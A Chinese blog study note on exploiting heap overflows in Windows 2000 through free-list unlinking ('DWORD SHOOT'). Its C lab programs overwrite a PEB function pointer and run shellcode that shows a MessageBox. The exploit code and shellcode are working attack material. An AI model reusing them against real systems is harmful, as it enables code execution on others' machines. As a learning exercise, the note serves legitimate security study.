漏洞利用学习笔记-007-堆溢出的利用

堆溢出的利用

声明:实验环境为 Windows 2000

本文来源:Moeomu的博客

链表的拆卸

理论

  • 堆块分配:将堆块从空表中“卸下”
  • 堆块释放:把堆块链入空表
  • 堆块合并:把若干个堆块从空表中“卸下”,修改块首信息(大小),之后把更新后的新块“链入”空表

利用堆溢出:构造数据溢出下一个堆块的块首,改写块首中的前向指针和后向指针,然后在分配释放合并等操作发生时伺机获得依次向内存任意地址写入任意数据的机会

  • 这种向任意位置写入任意数据的机会称为DWORD SHOOT/ARBITARY DWORD RESET
目标载荷改写后的结果
栈帧中的函数返回地址shellcode起始地址函数返回时,执行shellcode
栈帧中的S.E.H句柄shellcode起始地址异常发生时,执行shellcode
重要函数调用地址shellcode起始地址函数调用时,执行shellcode

实践

代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
int main()
{
    HLOCAL h1, h2,h3,h4,h5,h6;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    _asm int 3//used to break the process
    //free the odd blocks to prevent coalesing
    HeapFree(hp,0,h1);
    HeapFree(hp,0,h3);
    HeapFree(hp,0,h5); //now freelist[2] got 3 entries
    //will allocate from freelist[2] which means unlink the last entry
    //(h5)
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}

发现

  • 在h1申请到h5空间的时候,如果此时h5已经被溢出覆盖Blink和Flink,那么将会把[Flink]写入[Blink]

代码植入

原理

  • 目标对准ExitProcess调用的PEB同步函数指针RtlEnterCriticalSection,在程序内堆溢出引发异常后执行shellcode

代码示例1(观察异常)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x36\x00" // ShellCode起始地址
"\x20\xF0\xFD\x7F"; // PEB同步函数指针位置

int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    __asm int 3 //used to break process
    memcpy(h1, shellcode, 0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    return 0;
}

心得

  • 就差ShellCode内容了

代码示例2(不完整)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 200 字节堆区结束,以下是溢出数据
"\x16\x01\x1A\x00\x00\x10\x00\x00" // 下一个堆块的块首,保留
"\x88\x06\x36\x00" // ShellCode起始地址
"\x20\xF0\xFD\x7F"; // PEB同步函数指针位置

int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    __asm int 3 //used to break process
    memcpy(h1, shellcode, 0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    return 0;
}

总结

  • 此次写入了shellcode的部分重要参数,但是主体内容还未写入

代码示例3(有问题)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// Do Something...
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
// 200 字节堆区结束,以下是溢出数据
"\x16\x01\x1A\x00\x00\x10\x00\x00" // 下一个堆块的块首,保留
"\x88\x06\x36\x00" // ShellCode起始地址
"\x20\xF0\xFD\x7F"; // PEB同步函数指针位置

int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    // __asm int 3 //used to break process
    memcpy(h1, shellcode, 0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    return 0;
}

总结

  • 这就是完整的ShellCode了,可以顺利利用Win2000的堆溢出
  • 但是问题在于无法成功弹出MessageBox
  • 原因是PEB指针连着ShellCode一起欺骗了,需要修复PEB指针

代码示例4(完整)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address may releated to
//your OS
"\x89\x18"//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
// 200 字节堆区结束,以下是溢出数据
"\x16\x01\x1A\x00\x00\x10\x00\x00" // 下一个堆块的块首,保留
"\x88\x06\x36\x00" // ShellCode起始地址
"\x20\xF0\xFD\x7F"; // PEB同步函数指针位置

int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    // __asm int 3 //used to break process
    memcpy(h1, shellcode, 0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    return 0;
}

总结

  • 这就是完整的ShellCode了,可以顺利利用Win2000的堆溢出弹出MessageBox了
Built with Hugo
主题 StackJimmy 设计